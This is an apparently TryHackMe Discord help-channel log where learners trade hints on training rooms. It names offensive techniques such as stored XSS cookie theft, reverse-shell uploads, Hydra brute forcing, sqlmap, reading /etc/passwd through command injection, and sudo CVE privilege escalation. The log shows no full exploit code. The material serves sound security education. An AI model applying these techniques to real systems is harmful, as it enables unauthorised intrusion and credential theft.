How do you write IP address? @amber wagon

[amber wagon]

yay

[amber wagon]

Octet >

Its ez you don't know ?

[gloomy nebula]

1,2 seems like acending

[midnight anchor]

yeah, it is accending

[spice shard]

I am trying to help you (:

[amber wagon]

How many sections (in digits) does an IP address have?

Its 0-255

but didn't worked

also I did 250

didn't worked @midnight anchor

[midnight anchor]

they are asking "how many sections"

not how many in one section

[spice shard]

@amber wagon this is why I asked you this question

How many sections (in digits) does an IP address have?

[amber wagon]

Oof

I got it broo

Its too simple if you understand

[midnight anchor]

yeah thats what i ve been trying to tell you

[gloomy nebula]

Is this research question, or am I missing something

[amber wagon]

thx

[green minnow]

Gave +1 Rep to @midnight anchor

[amber wagon]

thx

lol ?

[midnight anchor]

i researched it when i did the room but thinking about it its quite logical

[gloomy nebula]

It is 7 and 4 as for me, but that doesnt seem to work

[amber wagon]

Deploy the interactive lab using the "View Site" button and spoof your MAC address to access the site. What is the flag?

How do I do it

I did request website

[gloomy nebula]

Is at least one correct?

[midnight anchor]

its not 7 and 4, research it

[amber wagon]

But got no hint or anything

[gloomy nebula]

How to make your device appear as another?

[amber wagon]

yay I did it

[spice shard]

Good hint!

[gloomy nebula]

got it. Thanks

[amber wagon]

@midnight anchor am stuck

What is the syntax to ping 10.10.10.10?

[midnight anchor]

he is refering to the command

think it logically

[amber wagon]

ok lemme try

@midnight anchor I can't

[midnight anchor]

search it on google

[amber wagon]

What is syntax

[vital crown]

Syntax = format. So it's basically asking you how would you ping that IP address

[amber wagon]

I rage hacking I will learn graphic designing

[forest moss]

I'm doing the OWASP top 10 room task 5, and I'm so clueless as to what I should put in this box to find what it wants me to find

it asks what the user's shell is set as, is that like it's home directory?

I thought it was "/usr/sbin/apache2" but apparently not

fits the answer's formatting perfectly

[vital crown]

Have a read of this

https://www.ibm.com/docs/en/aix/7.1?topic=passwords-using-etcpasswd-file

[forest moss]

ohh yes the etc passwd file

cat'd the passwd file and grepped the username and found it

thanks 😄

[vital crown]

No problem

[stiff sluice]

In NMAP's room, there's a question that's troubling me!

Does the target (MACHINE_IP)respond to ICMP (ping) requests (Y/N)? Unable to understand what's the target ip here?

[forest moss]

It'll be the one of the machine you're running, at the top of the page

You need to deploy the machine in Task 1 to see it

[stiff sluice]

Yes, this works. Thanks mate!

[green minnow]

Gave +1 Rep to @forest moss

[forest moss]

No probs 🙂

[fathom rapids]

Hi I'm working on Network Services Task 4: Exploiting SMB. I'm unable to get it to work in the attack machine.
I got the first answer correct so I think my syntax is fine but I get the following error when I put it in the terminal
" WARNING: The "Syslog" option is deprecated, and Connection failed (Error NT_STATUS_HOST_UNREACHABLE)
thanks for any pointers.

[light tundra]

okay. If I'm already stuck, I don't know how I'm going to make a career out of this lol:

OWASP Top 10: Command Injection Practical

Is it asking me to actually hack into the root directory using injection? Because I can't find any other way to navigate to it. and I'm unaware of any particular exploit we're to use

unless I need to figure out vulnerabilities myself, etc

[vital crown]

Can't recall this one that well, but have you tried just injecting a command that shows you the contents of a directory?

[light tundra]

like literally injecting a shell command?

[vital crown]

Yeah, bear in mind it's not asking for the system root directory, but the website root directory

[light tundra]

yes

[vital crown]

I don't remember figuring out any vulnerabilities on that one, I thought it was just basically getting it run the commands and it would give you the answer. Sorry. Did it a few weeks back so a bit hazy on it

[light tundra]

yeah it seems like it, I appreciate the help

I just need to go back and just practice or refresh more

I suppose a lot of this career is muscle memory

[vital crown]

And taking lots of notes. I use Joplin to track all my stuff

[light tundra]

I'm not great at keeping notes lol

[bleak gate]

S A M E and it bites me in the ass every day.

I started using Notion to take notes, especially during work engagements, and it's been fantastic.

[forest moss]

in case you didn't get it, you can use pwd

oh sorry, i mean ls

[light tundra]

lmao i was trying cd

for some reason

[forest moss]

lol i did try that out a few times myself to see if i could move around but with no success

[light tundra]

so it seems...most things work

oh

that's the point, dummy hahahaa

[gloomy nebula]

OWASP Top 10.
What does this question asks from me?

I've already changed HTML in later task

What exactly should I override to get this flag?

[onyx dagger]

@gloomy nebula it’s been a little bit since I’ve done that room but I’m almost certain in each section they have examples that directly correlate to the questions asked. The first one you’re mostly inserting a stored xss, second you’re overwriting whatever element is being used to display “XSS Playground”

[ivory magnet]

Anyone help to this problem

Room -linux privesc

[copper blade]

Somebody please give me a hint on finding the last flag on Eternalblue.

I'm thinking maybe I'm suppose to find a way and activate the Administrator account so to access the Admin folder but I'm lost..

Please give me a hint!:weary: :weary:

[spice shard]

If you've followed all the question of blue room, then you are able to grab flag.

[copper blade]

If you get a valid xss, you will see your flag popped up

[copper blade]

Omg, will read all over again😭

[spice shard]

It's is worth giving it a try, but harder this time (:

[copper blade]

Thanks man.
On it!

[green minnow]

Gave +1 Rep to @spice shard

[copper blade]

Thanks buddy, it wasn't as hard as I thought😅
I was just complicating things for myself..

Got the flag, Thanks man!👍

[green minnow]

Gave +1 Rep to @spice shard

[ember cosmos]

Windows Fundamentals 2 [Help Required]

Can anyone give hint regarding "Command for Windows Troubleshooting"

[gloomy nebula]

Ye, got this, question is a bit misleading, I was meant to just insert some tags, like <b> in comment section. Not document.write as I did before.

[rain latch]

You can open the Troubleshooting using control.exe and an argument

[slender owl]

Maybe I'm not typing the answer in the correct format for the question about what layers of the OSI model do firewalls operate at. I can't seem to get it to like what I'm putting in so far.

[rain latch]

The format is Layer X, Layer Y

[slender owl]

Thanks, looks like I have more than just that as the issue. I must be missing something with my thought process

[green minnow]

Gave +1 Rep to @rain latch

[vagrant dove]

how do i go from one module to another in metasploit without quitting and then reloading metasploit...

[rain latch]

Do you mean when u got a shell/session or simply after selecting a module?

[vagrant dove]

after selecting a module

[rain latch]

Simply with the use <Module> command

[vagrant dove]

so if i wanted to search for another module: search mysql_hashdump - how would i access that when i am already in mysql_schemadump without quitting metasploit

hope that makes sense...

[raw parrot]

im currently doing the extending your network room

and im having to stop the attack on the website

what rules would be needed?

[rain latch]

@vagrant dove does the screenshot help you?

oops

[rain latch]

drop requests from an IP address

[raw parrot]

what ip would be best??#

[rain latch]

the one that attacks

[raw parrot]

from the ip or to the ip?

[rain latch]

from

you wont to disallow the IP to make requests to the server not disallow the server to send packets to the IP

[raw parrot]

what ip would i send the drop to?

[rain latch]

if I remember correctly you have a kinda "interface" on your right side in that room where you can specify the information

[raw parrot]

im really confused

what configuration would i make?

[bleak ivy]

Can anyone give a hint to getting foothold on blog room

[wooden mist]

read the text it shows you before the simulation starts, it will tell you which destination and what port the packets are being sent to, and from the flow you can deduct what ip you should block as the source

[raw parrot]

ok.

thanks ill try this

it worked thanks

[raw parrot]

thanks!#

[green minnow]

Gave +1 Rep to @wooden mist

[burnt forge]

Is anyone having issues with the OSI practical game. It says to use the space bar to enter the door but nothing seems to work, I have tried using other keys along with the space bar and still nothing

[rain latch]

I used the arrow up key I think

[burnt forge]

I have tried that, I have literally tried every key. I don't know if you have to use a combo of keys or it is just broken

[raw parrot]

i used left right then space too get in each door

[burnt forge]

That is the last flag I need to get the whole Pre cert

@raw parrot are you using the attack box or VPN from your machine?

[polar kelp]

hello i am stuck on one last question on dns in detail. im using the vm but i dont think its giving me the right info for the cname on the ns look up cmd

i can send screen shots if you want

[rain latch]

That'd be helpful...

[polar kelp]

@rain latch message me and i can send you a print screen

[drifting mortar]

Hello I wonder if I can get a hint so I'm at the beginner level at owasp where I should get the tomcat developer's name, and I tried to submit it for like 10 minutes now but it still not accepting it.

[spice shard]

Research!! (:

[glacial gust]

think org not person

[drifting mortar]

||omfg||

thx

[gloomy nebula]

I am currently working on upload vulnerabilities, and stuck on this task, because while using burp as proxy site completly refuses to load

All other sites work as intended tho, so this is something sketchy about this java.uploadvulns.thm

[light tundra]

OWASP Top 10, Task 1: command Injection practical—

I can't find how the user's shell is set. I've googled and trial & errored for a while now. I'm guessing it's in /bin/bash but I don't know how to see the contents of it 😦

[vital crown]

Is your request appearing in Burp?

[gloomy nebula]

Only one

Just after enabling interception

Other sites requests are showing fine

[vital crown]

Is this the first web site you've tried tonight? Or have you just finished one and moved onto this one? I know if you've restarted the target VM your hosts file will be incorrect

[vital crown]

You need to look in the passwd file

[gloomy nebula]

no, it is not the first one

[vital crown]

Does it load if you are not using Burp?

[gloomy nebula]

nwm

[gloomy nebula]

yes, it was

[gloomy nebula]

I resolved it, seems like there was multiple IPs in my hosts file

After removal, works fine

[vital crown]

Ahhh that one gets a lot of people

[gloomy nebula]

Maybe put it in hints, or somehow mark that this may be a problem

[hard field]

Hello! For Linux fundamentals part 2 is talking about ls command and ask "What flag would we use to display the output in a "human-readable" way?". The answer is in the format of 2 char, I thought is ||-l|| Can someone help me? I really don't get it :)))

[dusky plinth]

Hey, did you checked the man page?

[hard field]

I got it now😅

[dusky plinth]

nice, next time try searching the man page with grep 👍

[hard field]

I thought is just metaforic :))

[spare halo]

Hi, im doing the XSS playground room for stored XSS. The task tells me to put a script that sends a cookie to the attacker machine whenever a user visits the webpage. It says to wait for a user name Jack to visit the webpage. I waited and refreshed the page for quite a while but did not get the cookie from Jack. What could I be doing wrong?

Nvm, problem solved. The cookie looks alike and i've mistaken it with my cookie 😫

[ember cosmos]

Can Anyone help me with "A different CTF"?

I need hints

[spice shard]

Specify your question please and people are ready to give you hints

[ember cosmos]

Where to start looking?

I found a wordlist at /announcements

I found a /phpmyadmin

Also a /phpmyadmin/setup

I assume I have to brute force the /phpmyadmin/setup with hydra specifying username as "admin" and password list as "wordlist.txt"

But it's taking too long so I just wanted to know, am I going in the right direction?

[junior shadow]

Maybe in the wordlist there is duplicate word ?

[ember cosmos]

What should I do??

[junior shadow]

There is a command Line to eliminate all the duplicates word

[ember cosmos]

I don't know that 😅

Would you be so kind so as to share the command?

[junior shadow]

try this ? sort -nu inputfile.txt -o outputfile.txt

what is the ctf your are doing ?

[ember cosmos]

A Different CTF

[hollow sierra]

uh,well.I am stuck while trying to deploy a machine in linuxfundamentals1

I am not able to connect on the IP

[junior shadow]

you try to ping it ?

[hollow sierra]

ye

works that way

but can't access on browser

[junior shadow]

what is the nmap result ?

[hollow sierra]

I mean for the linux machine

the virtual machine

[junior shadow]

i don't know i use my own VM

[hollow sierra]

what about windows machine

lol

It's kinda boring to download

[forest moss]

I'm trying to install seclists on the attackbox for the OWASP Juice Shop room, but i keep getting the error "unable to locate package seclists"

[spice shard]

You can download seclists from github using git clone and then move seclists to /usr/share directory

[forest moss]

oh i tried using git

but i derped and forgot where it put it xD

Didn't realise it was put in the /root folder and not where it's meant to go

Thanks!

[junior shadow]

230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 500 Illegal PORT command. ftp: bind: Address already in use ftp> pass Passive mode on. ftp> ls 227 Entering Passive Mode (10,10,169,101,174,110) hello guys i have a problem, when i want to connect with ftp the server do give me back the listing

is this a port problems ?

[gloomy nebula]

Guys, what am I missing, I am stuck with Jewel (file uploads) challenge. I uploaded my Node.js revshell, found it, and can't execute it, admin page keep saying, that there is no module

[vital crown]

Are the jpgs in the folder you mention in your admin page screenshot?

[rain latch]

Did you manipulate the magic hex?

[gloomy nebula]

Yes

[gloomy nebula]

Yes, also, according to hints they should be there

[rain latch]

Sadly I did not make a writeup for that room and I only remember that there was something with the magic hex or the file extension. Try to leave everything as it is that gets checked on the client side and remove the javascript that performs the clientside checks with burp

[gloomy nebula]

Without that JS button select doesn't seem to work, but I'll try, thanks

[green minnow]

Gave +1 Rep to @rain latch

[white salmon]

show me

[gloomy nebula]

Show you what?

[rain latch]

only remove the client side checks javascript file (whatever exactly it's called) not the one that performs the upload itself

[white salmon]

jesus

no need to be so rude to me

i was tyrna help

[rain latch]

he was just asking?

[gloomy nebula]

he is not availible, come back later

[white salmon]

lol

show me da problem i fix for free 4 u

hahaha

[vital crown]

I think for the challenge, you don't change the hex or it doesn't work

[bleak ivy]

Can anybody give a hint to Jenkins room

Finished scanning and I’m kind of lost
Found login page on port 8080

[rain latch]

That's what I said since the hex check is clientside

afaik

[bleak ivy]

Don’t know what to do from there
Tired doing dir enumeration
Nothing coming out of there

[rain latch]

Try some default credentials 😄

[bleak ivy]

Thank you…. Don’t want to call myself stupid for not thinking in that direction

[green minnow]

Gave +1 Rep to @rain latch

[rain latch]

Your welcome

[ornate sage]

When will the crontab on the deployed instance (10.10.55.242) run?

[rain latch]

Mind giving some info?

[gloomy nebula]

That is not a number, that is a word.

[gloomy nebula]

That is Linux fundamentals PT 3, if I recall correctly

[rain latch]

ah well such info should be included in a question and then you're right it's a word 😄

[gloomy nebula]

@rain latch You helped me yesterday on this question, lol xD

[rain latch]

got quite some stuff on my mind i dont remember such stuff tbh ¯_(ツ)_/¯

[frozen isle]

guys, where do i get the user's account status on windows server?

[rain latch]

Account is ___

[frozen isle]

windowsfundamentals1xbx room

[sturdy shadow]

This is a trick question

[rain latch]

Yea my message above is the "format" you can read the account status in local users and groups for example

There check the properties of the account

[sturdy shadow]

The answer is account is ********

So now u can give the answers..

[rain latch]

^

[frozen isle]

ok

i got the right answer, but i think it is wrong (because that option is unchecked)

[celest saffron]

I was literally just doing the room and the option is checked for me

are you sure you were looking at the correct account?

[analog orchid]

Hi everyone, newbee here. i am stuck on a question. what is networking? what is the key term for devices thatt are connected together ?

[celest saffron]

did you read the first sentence

[analog orchid]

I have read the whole thing loads of time, second day trying to figure it out 🤦

[celest saffron]

the answer lies literally within the first sentence

[analog orchid]

Oh dear. i will look at the first sentence thank you

[celest saffron]

no worries

[ember cosmos]

I'm doing room Agent-Sudo

Where will I get the Zip file?

[old pond]

Room name: rootme
When I'm uploading a empty file .php5,.phtml extension it's being uploaded but when I'm uploading the actual shell ...it's not being uploaded..what might be the reason??

[spice shard]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[spice shard]

Follow this link to verify yourself and provide screenshots

Besides that, there are some directories which you can found using gobuster/dirsearch.

[old pond]

All the uploaded files above are normal files...but when I'm trying to upload the pentest monkey reverse shell it's being showing that the "connection was reset"

[spice shard]

Terminate the deployed machine and re-deploy it again because such thing shouldn't happen

[old pond]

Yaa..but still the same issue

[spice shard]

Is the problem occuring while uploading the rev shell or is it when executing it to gain reverse connection?

[old pond]

when uploading the shell

[spice shard]

Try to upload newly downloaded php-reverse-shell and see if it works

But that's strange anyways

[forest moss]

I'm having issues with the CC: Pentesting room, task 18. Every time I run the sqlmap command I get an error back

[spice shard]

You have to provide a parameter which might be vulnerable to sqli just like http://foobar.xyz/secret/?id= and here, if you can see, id parameter might be (might not) vulnerable to sqli

[forest moss]

ohhh okay, so I've skipped a step haha

I still can't seem to get it to do much 😕

There is a message box on the site, but entering text into it doesn't change the url

[rain latch]

There's a "forms" option on sqlmap in case you got a form on the website but no parameter in the url

It should even be --forms if i remember correctly

[forest moss]

Yeah it was, thanks 😄 I got it eventually, but then got stuck with finding the flag because my database dumps were empty databases

[zinc cosmos]

Hey! Hope everyone is having a good week. I am working on the Bounty Hacker Room and am having a difficult time with Hydra, it says that it will take 2 hours to complete with the common_root.txt attacking ssh. Is there a way to speed this up? Hydra does allow for up to 64 tasks at a time but this gave me an error.

[ember cosmos]

Did you get the creds ? From /announcements

Use stegseek or stegbrute

[zinc cosmos]

Thanks for getting back to me. I have not yet. Where is the announcements directory? I was able to find the user login as lin in the task.txt file.

[gray vale]

Man, I was way over thinking owasp top 10, task 19 😮‍💨

[spice shard]

Did you find the other file besides tasks.txt in ftp?

Figure out what can you do with it.

[old pond]

Yaa..finally it worked , uploaded a web shell to excute commands and from their spawned a shell using python...but idk y the pentestmonkey rev shell won't uploaded.

[latent arch]

could anyone help me with 'network services' on exploiting smb?

[vital crown]

Ask your question (and tell us the task number) and if someone can help, they will

[dusk ibex]

Hello,

I am on "Network Services" module and I am trying to launch my machine. I clicked on "Start Machine" >> "Start Hackbox" in machine I am trying ssh tryhackme@(ip addres) and entering password (tryhackme) but its saying "permission denied"

[dusk ibex]

Hello,

I am on "Network Services" module and I am trying to launch my machine. I clicked on "Start Machine" >> "Start Hackbox" in machine I am trying ssh tryhackme@(ip addres) and entering password (tryhackme) but its saying "permission denied"

[vital crown]

Just looking now, which task number is it?

[dusk ibex]

Complete Beginner >> Network Exploitation Basics >> Network Services

Task 3

@vital crown

[vital crown]

Looking at that task you don't need to SSH into it. You're doing SMB enumeration which you would run from your attackbox

[dusk ibex]

ohhh ok..

[feral scroll]

Good morning all. I am currently stuck on Task 4 in the Network Services Room. The question is:

"Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?"

For the life of me I cannot find anything that indicates who the profile folder belongs to. There's an interesting .txt file but I can't seem to read it's content. nano, vi, cat and more do not provide any help. 😕

Anyone familiar with this?

[feral scroll]

Found the solution:
Once Connected -

help (Get a listing of what commands are available)

ls (List share content)

get "filename" (This will save a copy of the file on your local machine that you can read later)

My get command kept failing because I was not using quotes around the file name.

Hope this helps!

[true orchid]

Hello, @white salmon !
I'm stuck at the same question. I just wrote the SQL query, but it don't work.
Can you give me an idea?

[terse nova]

hi, any hint about the Cold VVars room

[dawn estuary]

im i looking at the wrong thing? if so what should i be looking for roughly

nevermind

done it

[pure thistle]

does any one here know when coldvvar was released stuck on privesc to 2nd user

[pure thistle]

im stuck too

[bronze hill]

hello,i need help, i am still sucks at this "wget" why still refused? i am trying with AttackTheBox and my machine, but not working.

[twilit kraken]

Hi all - I'm on the vulnversity room and the intruder sniper payload doesn't seem to work as designed

I get 200 status for all extensions

when actually .php isn't allowed.. shouldn't it show something other than 200?

my settings match the room suggestion too..

[twilit kraken]

you have a web server running from the source to respond to the wget on that port?

[pure thistle]

did you start the python3 http seerver on the victum box?

[bronze hill]

yeah from the source, i try it

[twilit kraken]

so if you do an nmap for port 8000 on the victim box you see it open?

[bronze hill]

yes u mean python3 -m http.server? i already did it

[twilit kraken]

rustscan –a 10.10.215.52

do that and check you see port 8000

looks like its not open perhaps

[bronze hill]

yes it's open
i try nmap -sV -sC

[twilit kraken]

hmmm

what attackbox you using? the tryhackme?

[bronze hill]

yups,tryhackme

[twilit kraken]

it looks like your running the command on the victim box rather than the tryhackme box?

thats what my cmd looks like on tryhackme box

I think your box has port 80 open.. not 8000

that also may be the issue

[bronze hill]

owh thanks i will try again later

[green minnow]

Gave +1 Rep to @twilit kraken

[vital crown]

The reason you are getting 200 statuses, is because the web page itself is loading up correctly. What I would suggest is try a manual upload and see what error is mentioned on the webpage when you upload an incorrect format, then in Burp use the Grep-Match option in the Intruder options to flag any response that includes that text. The rationale being if there is no error text flagged then it might be a successful upload

[twilit kraken]

ahhhaaaa perfect thanks that makes sense

oddly thats not working.. I am prob being a wally still

[vital crown]

did it flag in them in the results?

[twilit kraken]

no I don't think so.. I also tried setting a location so it knows where to look but that didn't pick anything up also

the above screenie is with the grep set

[vital crown]

just booting the room up

[twilit kraken]

oh thanks Gogs really appreciate that.. while I know the answer to the next question the fact that Burp doesn't flag it means I must be doing something wrong I guess

[green minnow]

Gave +1 Rep to @vital crown

[twilit kraken]

just added in response field.. is this what i am supposed to look for?

doesn't look right still to me

based on the answer

as it should dhow 0 respinse for one of those

sorted!

needed "case sensitive match"

[vital crown]

finickity thing lol

[twilit kraken]

yup! but thanks so much I didn't know about that option

[green minnow]

Gave +1 Rep to @vital crown

[vital crown]

No problem. i think it gets mentioned on one of the rooms, that's the only reason I know of it

[twilit kraken]

Its been annoying me for days that one tried all sorts hahaha.. didn't wanna move on till I understood why

[rain latch]

In the Retro CTF room I've got the problem that I cannot choose a browser (or app) to open the certificate URL; anyone knows why or how to fix that?

[vital crown]

The bit that got me on that room was I had URL encoding turned on and it kept on turning the . into %2e

[twilit kraken]

Yeah I did spot that one today when i was looking through results too. And then remembered to turn that off from another room when fuzzing.

but I also didn't spot that for a week haha

[twilit kraken]

soooo on same room.. I'm trying to get the file contents across

its creating the file but not transferring file content oddly and the nc session kinda just sat there waiting as though I need to do something else

actually ignore me thats odd it did it that time!

[shut pollen]

Anyone who did Cold VVar?

[untold fulcrum]

@shut pollen i'm doing it. i made the first enumeration for the moment. I have to go outside. i will continue later.

[worn otter]

@twilit kraken I didn't read your entire problem, but something else to look for is the response length. There are times/rooms where the response code will still be 200, but the message that it gives back is different.

[pure thistle]

im stuck too trying to privesc to 2nd user

[shut pollen]

Well it took some braincells but I finally got root xD

[pure thistle]

any hint for the 2nd user i feel it has something to do with ||tmux||

[pure thistle]

you have any hints for getting to user 2

[mystic sand]

https://tryhackme.com/room/commonlinuxprivesc, task 4, the question with the bash script run by cron:
I used crontab -l to see if there were any cron jobs (there weren't) and I don't have permission to use -u. So how would I have found out, that ||there's a script on the desktop of user4||? I don't believe I was just supposed to go through every folder and find it that way. I found out via the hint but want to know how else to do it.

Edit: I believe I was supposed to use LinEnum and just did it all by hand, because my attention span seems to be a bit short right now... But still: How would I do it by hand?

[pure thistle]

i think i might have something but not at my computer right now

[glass talon]

i am stuck on intro2windows, am trying to connect to the remote windows using both Reminna and xfreerdp, but i am unable to connect
sometimes it get connected, but it just hangs and disconnects
can someone suggest me something apart from remmina and xfreerdp

[hushed basalt]

How did you find the answer? I'm having the same issue.

[pure thistle]

still stuck on coldvvar trying to privesc to user 2 ant hints

[languid sun]

Has anyone completed Cold VVars && willing to give me a hint on: ||PrivEscing from ArthurMorgan||?

[terse nova]

have you tried CVE-2021-3156?

[pure thistle]

doesn't appear to be vulnerable to this CVE

[bronze hill]

forgot give rep++, my bad, thanks mate, for telling me yesterday,
now, i just learned 2 things, first check the port it's open or closed, and make sure ur port is right, i Make 800O not 8000 XD

[green minnow]

Gave +1 Rep to @pure thistle

[gloomy gazelle]

Need nudge

For cold war

Got login page tried SQL injection

Not successful

Any hints

[languid sun]

Hey I'm hard stuck on that box as well but a bit further down the line. When you attempt your injection consider what your trying to bypass. ||https://book.dragonsploit.com/web-application-testing/attacks/sqli||

[languid sun]

Yeah, it does not seem to be vulnerable to that CVE.

[toxic shard]

||as many similarities as there are between ubuntu and debian, this is an Ubuntu 18.04 Bionic Beaver and the ubuntu package does not seem to be effected by this CVE ||

[ripe hedge]

Check payloadsallthethings

[ripe hedge]

The room title should be a hint

[light tundra]

yo dawg, I heard you like hints so we put a hint in your hint

[wet merlin]

hi

[ripe hedge]

If you strike a V it helps

[languid sun]

Yeah, I consider the name could be a hint but could not think/find a connection. 😞 I wouldn’t doubt it is something simple but I have no idea what I’m overlooking.

[light tundra]

OWASP Top 10: Task 7, [Severity 2] Broken Authentication Practical

||After typing in " darren" to the username and filling in other credentials, nothing happens besides telling me that the user already exists.||

[hearty widget]

@light tundra Did you then try to register an account with that username?

[light tundra]

I'm pretty sure! Like going back to the "register" button and trying the same thing again? Let me boot up my VM and try it once more and I'll get back to you

[hearty widget]

@light tundra You should just be able to register that user again and because it already exists it'll just log you in and give you access to the other users stuff. (aka the flag)

[light tundra]

yeah I figured that's what should happen...

yep I know lol

to the beginning, right?

[light tundra]

would it matter what other credentials (email / pw) I'm entering when registering?

[hearty widget]

@light tundra You'll want the details to match the other user where possible.

@light tundra just tested, as long as the user is the same it'll work. (Just add that space)

[light tundra]

https://tenor.com/view/fuck-gif-5397964

[hearty widget]

Don't forget to actually login too.

[light tundra]

That was the thing I was missing

I kept hitting "register" expecting to be logged in. Looks like I may have misinterpreted the course lopl

[light tundra]

thank you

[green minnow]

Gave +1 Rep to @hearty widget

[ripe hedge]

What, vars?

[languid sun]

||JOURNAL_STREAM|| has my interest but not sure about it TBH.

[ripe hedge]

Probably another silly one

[languid sun]

||command_not_found_handle|| Is curious I feel like this is something that should've hit me in the face at this point.

[ripe hedge]

There should be a suspicious environment variable

[true widget]

I am solving yearofthebox.I tried listing|| smb shares|| but do nat have read/write access.Found two user for|| smb|| tried bruteforcing no succes yet.Also port 80 has basic auth.Any hints would be of great help.https://tryhackme.com/room/yotf

[pure thistle]

there are a couple of suspicious env vars just banging my head on the key board trying to figure out how to abuse them

[tiny oasis]

working on the room Anonymous, can anyone offer up any help?

[rain latch]

Yes

[covert basalt]

Man you gave it all out 😂

[light tundra]

for *OWASP Top 10:Task 15 -- XML External Entity -- XXE Payload -- Am I expected to use burpsuite / another network tool for this?

or do I simply put the payload in the...payload area...

[rain latch]

As of now I always used burpsuite for XXE

[light tundra]

okay I'll give it a shot

got the same results as putting it in the form, so that makes sense

[light tundra]

thank you

[green minnow]

Gave +1 Rep to @rain latch

[ripe hedge]

Apparently not as they still can't find it

[light tundra]

So In the next task on OWASP Top 10: Security Misconfiguration. It just tells me to "hack." I'm going to guess I could probably just spend time guessing the password combo, but...can I try other methods or look for other ways to find it, like enumeration? Are the machines designed for that, or do they usually have the one specific vulnerability? I hope that question makes sense.

[rain latch]

I doubt you are supposed to bruteforce it

[light tundra]

yeah that's what I mean lol

I'm just looking around right now for any hints.

[rain latch]

Is it this note taking webapp?

[light tundra]

yes

[rain latch]

Just research a bit you might find some information at GitHub 😄

[light tundra]

reading through the suggested OWASP documentation trying to find some methods as well

well I don't wanna google the answer lol

[rain latch]

I didn't say google the answer

I said do research about the webapp itself

[light tundra]

ohh, thought it was a custom-designed thing

or do you mean like the platform it's made with? I saw something about that in A6:2017 documentation

[rain latch]

No, I mean the webapp; this pensive or what it was called again

[light tundra]

okay

[light tundra]

ohhhhhhhhhhh 🙂

[languid sun]

I think I got the one just have some IRL stuff to take care of. Thanks for help.

[green minnow]

Gave +1 Rep to @ripe hedge

[ripe hedge]

Good hunting

[tiny oasis]

Thanks, got it. Had to step away for a few to think to try a different vector

[green minnow]

Gave +1 Rep to @rain latch

[lyric lichen]

Anyone has a hint on the Cold VV room? can't find anything useful where i can get a foothold

[languid sun]

Makes me feel a little like a bone head. :p

[ripe hedge]

Enumerate all the things

[lyric lichen]

i thougt i had but i will give it another try 😄

[white salmon]

hey

[inland cargo]

Hey

[white salmon]

Well, im kind of stuck at a question or task in a room, it asks me : "What is the username used on this deployable machine you are currently signed in as"
[23:20]
im root ???

[white salmon]

hi sir

[inland cargo]

Which room is it?

[white salmon]

Linux fundamentals 1

[inland cargo]

Okay gimme a sec

[white salmon]

can i pm you the sc

screenshot

[inland cargo]

sure

[white salmon]

i tried

[rain latch]

Using your attack machine log in via SSH on the other machine running

[inland cargo]

Yeah you might have the attack box, you need to start the machine in task three

[white salmon]

yeah

whoami

is root

[rain latch]

Did you SSH into the machine?